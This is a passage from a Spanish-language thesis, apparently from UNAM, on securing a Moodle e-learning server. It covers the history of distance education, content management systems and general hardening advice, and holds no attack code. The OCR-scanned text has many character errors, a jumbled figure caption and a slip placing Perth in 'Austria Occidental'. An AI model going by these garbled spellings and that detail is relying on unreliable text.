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1. Introduccidon

En los primeros dfas de la web, el internet se utilizaba sobre todo para fines académicos. Por lo
tanto, todos los protocolos de comunicacién tenfan muy poca o ninguna atencion a la seguridad.
La situaciéon comenzo a cambiar a medida que mas servicios publicos y comerciales comenzaron a
moverse en linea, y por lo tanto muchos usuarios utilizaban el internet como parte de su rutina
diaria. Con el incremento de usuarios, surgen también grupos de usuarios maliciosos, llamados
"hackers"' que estin centrados principalmente en el robo y el uso ilegal de la informacién. Hoy en
dia es muy comun ser atacado por estos usuarios maliciosos. De hecho, es tan comun y frecuente
que se informa que sélo los ataques cibernéticos en Estados Unidos generan costos de hasta 22

mil millones de délares cada afio [1].

Se define como seguridad a una caracteristica de cualquier sistema (informatico o no) que nos
indica que ese sistema esta libre de todo peligro, dafio o riesgo, y que es, en cierta manera,
infalible. Como esta caracteristica, particularizando para el caso de Web, sistemas operativos o
redes de computadores, es sencillamente imposible, se suaviza la definicion de seguridad y
hablaremos de fiabilidad [2]" (probabilidad de que un sistema se comporte tal y como se espera de

él).

Se puede definir informacién como el conocimiento obtenido a partir de la investigacion, el
estudio o instruccion, inteligencia, noticias, hechos, datos, una sefial o caracter (como un sistema
de comunicacién o computadora) representando datos, algo (como mensaje, datos experimentales
o una imagen) que justifique el cambio en una construccién (como un plan o una teorfa) que

representa la experiencia fisica o mental u otra construccion.

ISe utiliza para referirse a un experto (Gurid) en tecnologias de la informacién y las telecomunicaciones: programacion,
redes de computadoras, sistemas operativos, hardware, software, etc.



La seguridad informatica consiste en asegurar que los recursos del sistema de informacion
(material informatico o programas) de una organizacién sean utilizados de la manera que se
decidi6 y que el acceso a la informacién alli contenida asi como su modificacién solo sea posible

para las personas que se encuentren acreditadas y dentro de los limites de su autorizacion.

La seguridad Web es un aspecto que esta cobrando cada vez mas importancia en las aplicaciones
informaticas, de hecho, la seguridad informatica se esta convirtiendo en una disciplina académica

en auge.

Es bien conocido que los Sistemas Virtuales de formacién estain cobrando cada dia mayor
importancia, en la ensefianza a distancia, en el ambito de la educacién en general y de una manera
considerable en el contexto de las empresas. Pero los profesores y tutores de los cursos necesitan
trabajar con seguridad y tener la certeza de que sus herramientas estan a salvo de ataques
informaticos. La seguridad, en este contexto, se encarga de activar mecanismos de proteccion, en
particular, trata de proteger la informacién dejando la responsabilidad del acceso y su
secuenciacién en el tiempo en manos de los administradores de las aplicaciones, de proteger la
infraestructura computacional que trata de que los sistemas y herramientas trabajen
satisfactoriamente, y prevean situaciones de emergencias (fallos) y de proteger a los usuatios

administrando concienzudamente los perfiles y permisos.

Moviendo clases y recursos en internet con un sistema gestor de aprendizaje (sus siglas en
inglésLLMS, Learning Managment System) Moodle abre un mundo de posibilidades en el uso de
los sistemas de aprendizaje en h'neazpara los estudiantes. Sin embargo, también abre una serie de
amenazas a los estudiantes y a la informacién privada ya que los recursos pueden ser vulnerables a

los ataques cibernéticos.

Aprender acerca de los diferentes tipos de amenazas en Moodle ayudara a mitigar el riesgo y

preparar una mejor estrategia para evitar lo peor.

2E-learning es la utilizacién de las nuevas tecnologias multimediales y de Internet para mejorar la calidad del
aprendizaje facilitando el acceso a recursos y servicios, asi como los intercambios y la colaboracion a distancia.



Muchos de los ataques web mas peligrosos provienen dentro del sistema, por lo que una vez que
se tengan todos los parametros de seguridad en su lugar, se debe monitorear la actividad del
usuario para asegurarse de que no haya amenazas, y para darle seguimiento existen herramientas

que apoyan esta tarea.

El trabajo se encuentra conformado de la siguiente manera:

En las primeras paginas de este documento, se abre con una introduccion sobre la importancia de
la seguridad en los sistemas basados en la Web con énfasis total en Moodle, y se hace referencia a

los recursos con los que se cuentan para realizar esta tesis.

Continuando con el capitulo I se define lo que es la educaciéon a distancia, asi como los

antecedentes que han dado lugar al crecimiento de las aplicaciones Weben el entorno educativo.

Dentro del capitulo II se menciona los gestores de contenidos, los cuales son la base principal

para la implantacién de este proyecto.

En el capitulo Ilse define qué es Moodle asi como sus caracteristicas basicas que lo componen.
El capitulo IV, se mencionan conceptos generales acerca de la seguridad informatica.
Continuando con el capitulo V, estécontiene un estudio exhaustivo de la seguridad en Moodle, asi
como la importancia de desarrollar sistemas Web seguros en una plataforma Moodle, tomando en
cuenta los requisitos necesarios para adoptar un esquema de seguridad especifico y las
consideraciones pertinentes.

En el capitulo VI se visualiza el caso practico.

Finalmente se mencionan las conclusiones a las que se lleg6 en la presente tesis.



Cuando el departamento de Ingenierfa de Control y Robética de la division de Ingenierfa Eléctrica
de la Facultad de Ingenierfa de la Universidad Nacional Auténoma de México (UNAM) decidié
utilizar Moodle como plataforma para la modalidad de educacion a distancia que diera soporte de
manera presencial y semipresencial, uno de los primeros retos que se planteo fue la creacion de
cursos por los propios docentes, a partir de la informacién recogida en la aplicacién de la materia,

se origind la implementaciéon de un curso a distancia.

Una vez decidida su utilizacién como herramienta de aprendizaje electrénico conocido comoE-
learning, se procedi6 a disefiar un curso a distancia como una forma de experimentar las nuevas
tecnologias, la ventaja de diseflar este esquema era la rapidez con la que se incorporarian nuevos

conocimientos, desde cualquier lugar.

Sin embargo al ofrecer este servicio se debian de cumplir una serie de requisitos en cuanto a
rendimiento, escalabilidad y disponibilidad que garantizaran el correcto funcionamiento y que
permitieran dar respuesta con facilidad a futuras ampliaciones del servicio, yasea en mayor
namero de usuarios, de asignaturas (cursos) o en capacidad de memoria, almacenamiento, entre

otros.



2. Objetivos

Objetivo general

Instalar un sistema de aplicaciones Web como medio para la educacion a distancia que garantice la

seguridad de la informacién en Moodle.

Objetivos Particulares

¢ Realizar un estudio del alcance de la seguridad dentro de un sistema Web Moodle,
estudiando los posibles ataques.

¢ Implantacién de esquemas de seguridad.

¢ Estudiar las facilidades que ofrecen entornos de produccion de software ligados al Web
como son el lenguaje de programacién PHP y el servidor de paginas Web Apache. Para
ello se instalaran moédulos de seguridad al servidor Apache.

¢ Adoptar algunos esquemas de seguridad especificos para la plataforma Moodle.

* Identificar las principales caracteristicas de Moodle.

e Conocer cémo se realiza la instalaciéon de Moodle en un servidor (Linux).

e Configurar correctamente las principales variables del entorno de administracién de la

plataforma Moodle para el sitio completo de e-Learning,.



3. Justificacion

Esta tesis nace con la finalidad de proteger nuestro Gestor de contenidos Moodle, que es el que
actualmente esta de manera productiva en el departamento de Ingenierfa de Control y Robética
de la division de Ingenierfa Eléctrica de la Facultad de Ingenierfa de la Universidad Nacional
Auténoma de México (UNAM).

Moodle es una aplicaciéon Web y como tal necesita ser alojada y conectada a una computadora con
algun tipo de red publica o privada.

Esta computadora necesita tener los siguientes componentes:

Sistema Operativo, Servidor Web, PHP, Base datos y Moodle.

Cada una de estas piezas puede ser usada como un punto de ataque para usuarios maliciosos en el
orden mostrado para tener acceso a la informacién protegida, es por eso que la necesidad de
realizar esta investigacion es hacer que todos estos componentes sean lo mas seguros posibles.
Esta tesis incluye siete capitulos de paginas de informacién de cémo mejorar y aplicar seguridad
en nuestro sistema Web. No es lo mismo instalar programas y hacerlos funcionar que instalar
programas, configurarlos, probarlos y luego hacerlos funcionar. En este proyecto de tesis ademas
de inseguridades a remediar nos encontraremos con otras configuraciones que haran nuestro

sistema atin mejor, robusto, econémico y lo mejor de todo seguro.



4. Recursos

El departamento de Ingenieria de Control y Roboética de la division de Ingenieria Eléctrica de la
Facultad de Ingenieria de la Universidad Nacional Auténoma de México (UNAM) cuenta con un
equipo con las siguientes caracteristicas:

Hardware

Servidor Dell

*  Procesador Intel(R) Xeon (TM) CPU 3.00Ghz con 4 Nucleos
* 4Gb de RAM
* Disco Duro: 80Gb

Requerimientos:

Software

e Debian (Ultima version estable)

e Moodle (Ultima versién estable)

e Apache
e MySql
e Php

e Paquetes adicionales



5. Definicion del problema

Moodle es una aplicacion web de codigo abierto Sistema de Gestion de Contenidos CMS (por sus
siglas en inglés Course Management System/) Sistema de Gestion de Aprendizaje LMS (por sus
siglas en inglés Learning Mangement System)/ Entorno de Aprendizaje Virtual VLE (por sus
siglas en inglés Virtual Learning Enviroment). Su objetivo principal es permitir a las instituciones
educativas e individuos, crear y publicar contenidos para el aprendizaje en linea, de una manera
coherente y pedagogicamente valiosa.

Es por tal motivo que surge la pregunta ¢Por qué entonces alguien querria acceder de manera

ilegal a una plataforma educativa?

Hay varios motivos para los criminales informaticos. En general, son personascon habilidades
para el manejo de los sistemas informaticos, capaces de evadir la seguridad informatica. Esto
significa acceder de manera no autorizada a un sistema de forma remota por medio de una red de

comunicacion, tal como Internet.Algunos de los motivos podrian ser:

¢ Financieros: Robo de identidad de un usuario para obtener informacién valiosa y

posteriormente vender informacion a terceros.

* Personales:Suelen ser personas envidiosas, rencorosas que pueden vulnerar la informacién
de alguien, y modificarla de manera maliciosa, o en su caso alterar su informacién para
beneficios personales, (modificaciéon de calificaciones, robo de informacién, robo de

cuentas, modificacion de registros personales, etc.).

* En algunos casos se relaciona con el deseo de ejercitar, y a veces hacer conocer a otras

personas, los conocimientos o habilidades del criminal en ese campo.

Dada la figura 1, se muestran los componentes con los que se cuentan, y se indica la problematica

en cada uno de estos componentes.
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Figura 1. Elementos en problematica (vulnerables).

a. Problemas con la seguridad en el servidor Web

La mayoria de los riesgos a nivel informatico en las aplicaciones Web se presentan no en la
aplicacién como tal, sino en el servidor Web que las aloja, estas vulnerabilidades son producto de
las debilidades de las diferentes implementaciones, no depende solamente del sistema operativo la
seguridad, sino de la forma como dicho sistema se relaciona con el servidor de aplicaciones Web;
las aplicaciones de tipo Web tienden a ser las mas atacadas por su alto grado de exposicion y la
facilidad de ataques. La causa de este tipo de problema se debe a que no se cuenta buenas
practicas de configuracion a nivel servidor de aplicacion.

No hay proteccién en la estructura del sistema, no hay actualizaciéon de versiones, comparten la
misma contrasena varios administradores de igual forma existen varios usuarios carentes de

permisos, para acceder al servidor.
b. Problemas con la seguridad de bases de datos

La causa de este tipo de problemas es la falta de verificaciéon de cédigo y colocaciéon de
validaciones de los datos en los puntos apropiados, asi como la asignaciéon no apropiada de los
permisos a los diferentes tipos de usuarios para acceder a la base de datos, y la falta demecanismos

de respaldo.



c. Problemas con el firewall

Muchas veces algunos sistemas son violados sin que el usuario se entere y mucho menos sepa el
dano o la informacién que ha sido sustraida de un servidor.

Para esto es necesario un firewall que mantenga alejados a los intrusos de los servidores.



6. Solucion al problema

Nuestra tarea consiste en hacer que todos los componentes antes mencionados sean lo mas
seguros posible, presentar una metodologia de implementacionutilizando las tecnologias

adecuadas como en la figura 3 se muestra.
a. La Web.

La idea de definir diferentes tipos de usuario para las diferentes aplicaciones Web y que
unicamente acceden a esa aplicaciéon, minimiza los accesos no autorizados y garantiza la

disponibilidad de la informacion.
b. La base de datos

Se definiran diferentes tipos de usuario de la base de datos y se les asignara diferentes tipos de
acceso a las tablas, también se contemplara un mecanismo de respaldo para garantizar la

disponibilidad y la integridad de los datos.
c. Firewall.

Es una parte del sistema designado a bloquear o permitir la comunicacién de la red basada en
reglas predefinidas. El funcionamiento de este tipo de programa se basa en el filtrado de paquetes,
minimiza las vulnerabilidades al hacer un analisis de los paquetes que entran y salen de nuestro

sistema.

Todo dato o informacién que circule entre una PC y la red es analizado por el programa (firewall)
con la misiéon de permitir o denegar su paso en ambas direcciones (internet > PC o PC >
Internet), como lo muestra la figura 2, en la que el intruso intenta acceder a la red y es rechazado

por el firewall.
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Figura 2. Intruso intenta acceder y es rechazado por Firewall.
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Figura 3. Esquema propuesto de seguridad.

Se instalara el sistema operativo GNU/Linux Debian y todos los paquetes necesatios sobre una
maquina virtual. Para ello, utilizaremos vmwave como software de virtualizacion.
Crearemos un escenario “clasico”. Servidor LAMP (Linux, Apache, MySQL y PHP) configurado

pot defecto (con un kernel compilado).

La aplicaciéon Web Moodle contendra un caso practico conlas siguientes caracteristicas:



Una configuracién de la seguridad en nuestra plataforma Moodle.
Un control de acceso a la plataforma de forma segura (autenticacion).
Un control de acceso a la base de datos.

Una configuracién de la seguridad en nuestro equipo Servidor Linux.



7. Alcances y limitaciones

Con este proyecto se pretende lograr:

e la instalacién, configuracion y utilizacion de la aplicacion Educativa: Moodle 2.5, que se

usara como entorno de Aprendizaje/Ensefianza.

e La configuracién de elementos de seguridad, mecanismos y hardening” en un servidor con

Linux, y aplicaciéon Web Moodle.

Este proyecto presentara un caso practico donde se verifica como la seguridad informatica
propone una metodologia para llevarse a cabo en el campo profesional y que sirva de gufa para

administrar una aplicacién web como la propuesta.

SHardening - Proceso de asegurar un sistema mediante la reduccién de vulnerabilidades en el mismo, esto se logra
eliminando software, servicios, usuarios, etc.






Capitulo IEducacion a distancia y aplicaciones Web

I.1Resumen

En este capitulo se definira la Educacién a distancia, sus antecedentes ycomoha evolucionado la
ensefanza asistida por una computadora para dar pie a las plataformas electronicas soportadas en

internet, mejor conocidas con sussiglas en inglésLMS (Learning Managment System).

1.2Introduccion

La demanda de la sociedad por una educacién competitiva sélida y al mismo tiempo flexible hace
necesaria la renovacién de los esquemas tradicionales de enseflanza presencial, mediante la
educacion a distancia.

La tecnologia nos aporta muchos elementos que nos ayudan a la practica docente. No tenemos el
conocimiento acabado, todos aprendemos de todos, lo importante es abrirnos a estas

posibilidades, y la educacién a distancia nos abre también a este proceso.

1.3Definicion

La combinacién de educacion y tecnologia para llegar a su audiencia a través de grandes distancias
es el distintivo del aprendizaje a distancia. Esto es un medio estratégico para proporcionar
entrenamiento, educacién y nuevos canales de comunicacién para instituciones educativas. Con
prondsticos de ser uno de los siete mayores desarrollos en el area de la educacion en el futuro, la
educacion a distancia es crucial en nuestra situacion social como un medio para difundir y asimilar

la informacién en una base global [3]"B.



1.4 Antecedentes

I.4.1Primera generacion

La educacion a distancia tiene su primera etapa o generacion, denominada Correspondencia. Esta
modalidad se caracteriz6 por el predominio de materiales impresos, textos y manuales, que eran

distribuidos por medio del correo postal.

El correo postal, jugd un papel importante dentro de la sociedad ya que era un medio por el cual
las personas se podian comunicar sin necesidad de trasladarse de un lugar a otro para llevar un
mensaje, sino que con solo escribir una carta, se podia informar a otra persona

independientemente del lugar donde se encontraban tal como se muestra en la figura 4.
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Figura 4. Primera Generacion

Por ello los Sistemas Educativos al darse cuenta de la ayuda que les proporcionaba el correo
postal, decidieron educar a la sociedad a través de la utilizacién de este medio, ya que se podian
enviar manuales que permitian a la sociedad interesada aprender algun oficio o saber sobre algun

tema de su interés, dando origen a la educacion a distancia.



1.4.2Segunda generacion

Después surgi6 la segunda generacioén, que podria denominarse multimedia, la mediacién de la
ensefanza y el aprendizaje continia efectuandose por el uso material impreso, pero que comienza
a tomar caracteristicas especificas disefladas para la ensefianza a distancia. A partir de la segunda
década del siglo 20, la radio comienza a utilizarse como vehiculo de ensefianza y en los afios 60’s

se usa a la television.

De lo anterior se puede senalar, que los medios de comunicaciéon no solo sirven para informar,
divertir o en ocasiones distraer a la sociedad, sino que se les puede dar un uso educativo, es decir,
dirigirlos a la transmisién de conocimiento y asi elevar los niveles de educacion de los paises,

como se muestra en la figura 5.
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ordenadores Cintas de video. correo, fax o teléfono.
Fax. 3.0casionalmente apoyada por
Papel impreso. reuniones cara a cara

\

Figura 5. Segunda generacién 1960 - 1985

Pero es necesario decir, la comunicacion entre las instituciones encargadas de impartir este tipo de
educacion y sus educandos aun tardd, ya que tenfan que hacerse por medio del uso del correo
postal, lo que originaba que algunas dudas que surgieran en la audiencia acerca de los temas, fuera

todavia tardio el proceso de solucién con sus profesores o tutores.

La comunicacién en la primera y la segunda generacion era unidireccional, es decir la educacion

era dirigida solo a los educandos, y los educandos no podia de la misma manera intercambiar



informacién. Esto cambid, ya que con la ayuda y utilizacién del teléfono las distancias también “se
acortaron”, lo que permitié una comunicacion participativa entre el maestro y el alumno. En 1971

aparece en México la primera telesecundaria.

I.4.3Tercera generacion

Algunos autores denominan Telematica a la tercera etapa, ya que es cuando se integran los medios
de telecomunicacion con la informatica. En esta etapa se utiliza la computadora y los sistemas
multimedia para establecer una relacion mas interactiva entre el educando y el educador. Ejemplos
de esta ultima generaciéon serfan las teleconferencias, la tele reunién, el correo electrénico y el

video texto, figura 6.
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Figura 6. Video texto. Tercera generacion educacion a distancia

Actualmente se utiliza tecnologia con la cual se sustenta la conjugacién de las telecomunicaciones,
y la tecnologfa digital para el enlace satelital por fibra éptica, con el fin de agilizar el proceso de
ensefanza-aprendizaje en esta modalidad de educacién a distancia. También se hace de
informatica donde se utilizan las redes de computo, las cuales se originan una retroalimentacion

entre el maestro y el alumno.



I.4.4Cuarta generacion

La cuarta generacion, se sintetiza en la comunicacion educativa via Internet. Su inicio se enmarca
en 1995, se llama también ensefianza virtual basando la educacién en mdltiples tecnologias
incluyendo las de gran ancho de banda, propiciando comunicacién sincrona-asincrona,
interacciones en tiempo real mediante audio y video, transmision de video a través de la World

Wide Web y la utilizacién del video bajo demanda.

1.4.5Quinta generacion

La quinta generacion es la actual (2013) en donde el Modelo de Aprendizaje es flexible, basado en
la entrega de materiales via Internet. Es una derivacién de la cuarta generacion y se le denomina
Modelo de Aprendizaje Flexible Inteligente, que se implementa y desarrolla a través de sistemas
de producciéon automatizada de cursos y sistemas automatizados de asesorfa pedagogica. Puede

pensarse como la modalidad educativa de la era digital.

Dado lo anterior, la quinta generacion, esta siendo apoyada por medio de las nuevas tecnologias
de la informacién y la comunicacion, donde se hace uso de la red de redes, el Internet, en el cual
se puede realizar una comunicacién de manera interactiva o bidireccional, donde se puede tener

una comunicacion de manera precisa, casi simultinea y en ocasiones de manera inmediata.






Capitulo IIGestor de contenidos

I1.1Resumen

Hace ya algin tiempo se hacfa un breve recorrido sobre las principales aplicaciones web libres.
Desde entonces hasta ahora el mundo de las aplicaciones web en general ha sufrido un auge
desmesurado a espaldas de la web 2.0. Este auge no ha hecho sino facilitar la evoluciéon de las
aplicaciones web libres que, lejos de desaparecer, se estin multiplicando y evolucionando hasta
limites insospechados. Y en lugar de pagar una licencia podemos necesitar cierto trabajo de
personalizacion (normalmente barato) para adaptarla a nuestras necesidades. Desde esa base, voy
a hablar brevemente de los gestores de contenido. De todas las aplicaciones web libres el gestor

de contenidos es sin duda la més imprescindible y extendida.

I1.2Gestores de contenido

Un gestor de contenidos es un sistema que permite administrar de una manera rapida, sencilla y

eficaz la presentacion en internet de los textos, imagenes, video, etc. Que los usuarios cargan en éL

El gestor simplifica en gran manera el trabajo de los usuarios finales que pueden concentrarse en
la elaboracién de los contenidos sin tener que ocuparse de la presentacion, la cual queda a cargo
del sistema.
Entre los gestores de contenidos mas destacados y gratuitos se encuentran (ver figura 7):

e Moodle

e  WordPress

e Joomla

e Drupal
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Figura 7. Gestores de contenidos mas destacados y gratuitos.

Es posible sugerir una divisiéon de la funcionalidad de los sistemas en gestion de contenidos en
cuatro categorias:

e C(Creacién de contenidos

e  Gestion de contenido

e Publicacion

o Presentacion

11.2.1Creacién de contenidos

El Sistema Gestor de Contenidos (CMSdel inglés Content Management System) aporta
herramientas para que los creadores sin conocimientos técnicos en paginas web puedan
concentrarse en el contenido. Lo mas habitual es proporcionar un editor de texto
WYSIWYG(“Lo que ves es lo que obtienes”), en el que el usuario ve el resultado final mientras
escribe, al estilo de los editores comerciales, pero con un rango de formatos de texto limitado. El
objetivo es que el creador pueda poner énfasis en algunos puntos, pero sin modificar mucho el

estilo general del sitio web.

Para la creacién del sitio propiamente dicho, CMS aportan herramientas para definir la estructura,
el formato de las paginas, el aspecto visual, el uso de patrones y un sistema modular que permite

incluir funciones no previstas originalmente.



11.2.2 Gestion de contenidos

Los documentos creados se depositan en una base de datos, donde también se guardan el resto de
los datos de la web, tales como los datos relativos a los documentos versiones hechas, autor, fecha
de publicacion, caducidad; de igual manera los datos y preferencias de los usuarios, la estructura

de la web, etc.

La estructura de la web se puede configurar con una herramienta que, habitualmente, presenta
una vision jerarquica del sitio y permite modificaciones. Mediante esta estructura se puede asignar
un grupo a cada area, con responsables, editores, autores y usuarios con diferentes permisos. Eso
es imprescindible para facilitar el ciclo de trabajo con un circuito de edicién que va desde el autor
hasta el responsable final de la publicacién. EI CMS permite la comunicacién entre los miembros

del grupo y hace un seguimiento del estado de cada paso del ciclo de trabajo.

11.2.3Publicacion

Una pagina probada se publica automaticamente cuando llega la fecha de publicacién y cuando
caduca se archiva para futuras referencias. En su publicacién, se aplica el patron definido para
toda la web o para la seccion concreta donde esta situada, de forma que el resultado final es un
sitio web con un aspecto consistente en todas sus paginas. Esta separacion entre contenido y
forma permite que se pueda modificar el aspecto visual de un sitio web sin afectar los documentos

ya creados y libera a los autores de preocuparse por el disefio final de sus paginas

11.2.4 Presentacion

El CMS puede gestionar automaticamente la accesibilidad de su web, con soporte de normas
internacionales de accesibilidad como WAI (iniciativa de accesibilidad web), y adaptarse a las

preferencias o necesidades de cada usuario. También puede proporcionar compatibilidad con los



diferentes navegadores disponibles en todas las plataformas (Windows, Linux, Mac, Palm, etc.) y
su capacidad de internacionalizacién lo permite adaptarse al idioma, sistema de medidas y cultura

del visitante.

El sistema se encarga de gestionar muchos otros aspectos como son los de menus de navegacion
o la jerarquia de la pagina actual dentro de la web, afadiendo enlaces de forma automatica,
también gestiona todos los moddulos, internos o externos, que incorpore al sistema. Asi por
ejemplo, con un moédulo de noticias se presentarian las novedades aparecidas en otro web, con un
moédulo de publicidad se mostrara un anuncio o mensaje animado, y con un moédulo de foro
podria mostrar, en la pagina principal, el titulo de los tltimos mensajes recibidos. Todo esto con
los enlaces correspondientes y, evidentemente, siguiendo el patréon que los disefiadores hayan

creado.

Los textos y las imagenes suelen ser cargados utilizando procesadores de texto simples
incorporados al gestor, mientras que los demas contenidos se transfieren a través de otras
opciones que brinda el software. A su vez el gestor trae incorporado un conjunto de datos
denominados plantillas que indican cémo debe transformar los contenidos para darles un formato

uniforme a todas las paginas.

En el interior de la plantilla reside la informaciéon de coémo seran el encabezamiento, el cuerpo, el
pie de pagina, los colores que tendran, el logotipo del sitio, el mend, etc. Y también como habra
de darse formato al texto y demas contenidos que ingresan los usuarios. En la figura 8, se ilustra

un esquema general de interaccion de estas cuatro categorias.



Soporte técnico, mesa de ayuda. etc.

Desarrollo Web,

| disefio, programacion,
TNooclie animacion.

Usuarios creadores de contenido

207tk »

</htmi>
siframe>  <img

body:

Contenido sin procesar

Contenido publicado en Internet

Figura 8. Esquema general de interaccion

Muchos usuarios particulares utilizan gestores gratuitos para elaborar y gestionar sus webs
personales, obteniendo webs dinamicos llenos de funcionalidades. El resultado que obtienen es
superior al de algunas empresas que se limitan a tener paginas estaticas que no aportan ningun

valor anadido.

I1.3Cubrir necesidades mediante el gestor de contenidos

Estos son algunos de los puntos mas importantes que hacen util y necesaria la utilizaciéon de un

CMS:

% Inclusiéon de nuevas funcionalidades en la web. Esta operacion puede implicar la revision
de multitud de paginas y la generacion del cédigo que aporta las funcionalidades. Con un

CMS eso puede ser tan simple como incluir un moédulo realizado por terceros, sin que



esto se suponga muchos cambios en la web. El sistema puede crecer y adaptarse a las

necesidades futuras.

** Mantenimiento de gran cantidad de paginas. En la web como muchas paginas hace falta
un sistema para distribuir los trabajos de creacién, edicién y mantenimiento con permisos
de acceso a las diferentes areas. También se tiene caducidad de paginas y los enlaces rotos,
entre otros aspectos.

% Reutlizacién de objetos o componentes. Un CMS permite la recuperacion y reutilizacion
de paginas, documentos, y en general de cualquier objeto publicado o almacenado.

% Paginas interactivas. Las paginas estaticas llagan al usuario exactamente como estin

almacenadas en el servidor web. En cambio las paginas dinamicas no existen en el

servidor tal y como se reciben en los navegadores, si no que se generen segun las
peticiones de los usuarios. Por ejemplo cuando se utiliza un buscador, el sistema genera
una pagina con los resultados que no existian antes de la peticion. Para conseguir esta
interaccién, los CMS conectan con la base de datos que hace de repositorio central de

todos los datos de la web.

¢ Cambios del aspecto de la web. Si no hay una buena separaciéon entre contenidos y
presentacion, un cambio de disefio puede comportar la revision de muchas paginas para
su adaptacion. El CMS facilita esos cambios con la utilizacién, por ejemplo, del estandar
CSS (Cascading Style Sheets u hojas de estilo en cascada) con lo que se consigue la

independencia de presentacién y contenido.

I1.4Consistencia de la Web

La consistencia en la web no quiere decir que todas las paginas sean iguales, sino que hay un
orden visual. Un usuario nota enseguida cuando una pagina no es igual al resto de las otras de esa
misma web por su aspecto, la disposicién de los objetos o por los cambios en la forma de navegar.

Estas diferencias provocan sensacion de desorden y dan a entender que la web no lo han disefiado



profesionales. Los CMS pueden aplicar un mismo estilo en todas las paginas con el mencionado

CSS y aplicar una misma estructura mediante patrones de paginas.

I1.5Seleccion del gestor de contenidos

Antes de empezar el proceso de seleccion de un CMS concreto, hay que tener claros los objetivos
de la web, teniendo el publico destinatario, y estableciendo una serie de requerimientos que

tendria que poder satisfacer el CMS. Aqui se tiene un listado de puntos a considerar, para la

eleccion del CMS.

» Coédigo abierto. Por el soporte y la reduccion de costos el CMS tendtia que ser de codigo

abierto (o libre).

» Arquitectura técnica. Tiene que ser fiable y permitir la escalabilidad del sistema para
adecuarse a futuras necesidades con moédulos. También tiene que haber una separacion de
los conceptos de contenido, presentacion y estructura que permita la modificacién de uno
de ellos sin afectar a los otros. Es recomendable, pues, que se utilicen hojas de estilo (CSS)

y patrones de pagina.

» Grado de desarrollo. Madurez de la aplicacion y disponibilidad de médulos que le afiaden

funcionalidades.

» Soporte. La herramienta tiene que tener soporte tanto por parte de los creadores como
por otros desarrolladores. De esta manera se puede asegurar de que en el futuro habra

mejoras en la herramienta y que se podra encontrar respuesta a los posibles problemas.

» Posicion en el mercado y opiniones. Una herramienta poco conocida puede ser muy
buena, pero hay que asegurar que tienen un cierto futuro. También son importantes las

opiniones de los usuarios y de los expertos.



» Usabilidad. La herramienta tiene que ser facil de utilizar y aprender. Los usuarios no
siempre seran técnicos, por lo tanto hace falta asegurar que podran utilizar la herramienta

sin muchos esfuerzos y sacatle el maximo rendimiento.

» Accesibilidad. Para asegurar la accesibilidad de una web, el CMS tendtia que cumplir un
estandar de accesibilidad. El mas extendido es WAI (iniciativa de accesibilidad web) del

World Wide Web Consortium.

» Funcionalidades. No se espera que todas las herramientas ofrezcan todas las

funcionalidades, ni que estas sean las unicas que tendra finalmente la web. Se tienen otras:

e Editor de textoWYSIWYG(“What you see is what you get”) a través del
navegador.

*  Herramientas de busqueda.

¢ Comunicacion entre usuarios.

* Noticias.

* Articulos.

* Ciclo de trabajo (workflow) con diferentes perfiles de usuarios y grupos de trabajo.

* Fechas de publicacién y caducidad.

¢ Webs personales.

e Cargay descarga de documentos y material multimedia.

e Avisos de actualizacién de paginas o mensajes en los foros, y envié automatico de
avisos por correo electrénico.

» Envié de paginas por correo electronico.

* Paginas en version imprimible.

e Personalizacién segun el usuario.

* Disponibilidad o posibilidad de traduccion al catalan y el castellano.

* Soporte de maltiples formados (HTML, Word, Excel, Acrobat, etc.).

* Soporte de maltiples navegadores.

* Soporte de sindicalizacion (RSS, NewsML, etc.).

e Estadisticas de uso e informes.



* Control de paginas caducadas y enlaces rotos.

I1.6Seguridad en gestores de contenido

La seguridad en los CMS no debe pasar desapercibida. De la misma forma que se protegen los

sistemas web, se debe tomar medidas de seguridad muy similares.

De forma general los siguientes puntos sugieren tomar medidas de seguridad sobre los CMS:

>

Actualizacion: los gestores de contenidos obsoletos son un problema para la seguridad
web. Cuando se corrigen agujeros de seguridad en los CMS que comprometen la

seguridad, debemos actualizarlo lo antes posible, para que no sea vulnerado.

Configuraciéon. La mayoria de los CMS traen configuraciones por defecto, es importante
ajustar estas configuraciones conforme a nuestras necesidades para evitar accesos no
autorizados.

Formatos de entrada. Revisar los filtros de entrada, nunca se debe permitir HTML sin

filtrar los contenidos. Solo permitir etiquetas confiables.

Moédulos y plug-ins. Actualizar regularmente los médulos o plug-ins que presentan fallas

de seguridad.

Permisos sobre archivos de configuracion. Verificar que los archivos de configuracion y
demas posean los permisos de visualizacion y modificacion adecuados, ya que si esto no
esta establecido cualquier usuario puede realizar cambios en el sistema e inclusive obtener

privilegios de administrador.

Manejo de archivos. Poner especial atencion si se ha permitido que se suban archivos al
servidor, ya que si no se filtran los tipos de archivos admitidos, se podtian ejecutar scripts

sobre el servidor.

Control de acceso. Definir los roles de acceso para usuarios que generan contenidos,

disefiadores y el personal que da mantenimiento al CMS. Un usuario que solo genera



contenido, no puede tener privilegios de administrador. Controlar el acceso a una web no
consiste simplemente permitir la entrada a la web, sino que administra los diferentes

permisos a cada area de la web aplicados a grupos o individuos.

Respaldos. Establecer periodos de respaldo de la base de datos de acuerdo al espacio

disponible en las unidades de almacenamiento. Si es posible diariamente, mucho mejor.

Cifrado. Se recomienda utilizar conexién segura mediante comunicaciéon SSL para evitar

intercepcion de datos o un ataque de man-in-the-middle.



Capitulo IIIMoodle

I11.1Resumen

Moodle es una plataforma de aprendizaje en linea, un LMSque se distribuye gratuitamente como
Software libre (se distribuye bajo licencia publica GNU). Su nombre fue inicialmente un
acréonimo de Module Object-Oriented Dynamic Learning Environment (Entorno Modular de
Aprendizaje Dinamico Orientado a Objetos).

Moodle nos permite administrar, distribuir y controlar actividades de formacioén a través de

Internet.

II1.2 Introduccion

Técnicamente, Moodle es una aplicaciéon que pertenece al grupo de los gestores de contenidos
educativos (sus siglas en inglésCMS, Content Management Systems) también conocidos como

Entornos Virtuales (VLE, Virtual LearningManagments).

Moodle, es un paquete de software para la creacion de cursos y sitios Web basados en internet, o
sea una aplicacion para crear y gestionar plataformas educativas o espacios donde un centro
educativo, institucién o empresa, gestiona recursos educativos proporcionados por unos docentes
y organiza el acceso a esos recursos por los estudiantes y ademas permite la comunicacion entre

todos los implicados (alumnos y profesores).

Moodle fue disefiado por Martin Dougiamas de Perth, Austria Occidental, quien basé su disefio
en las ideas del constructivismo en pedagogia, que afirma que el conocimiento se construye en la
mente del estudiante en lugar de ser transmitido sin cambios a partir de libros o ensefianzas y en

el aprendizaje colaborativo.



II1.3Antecedentes

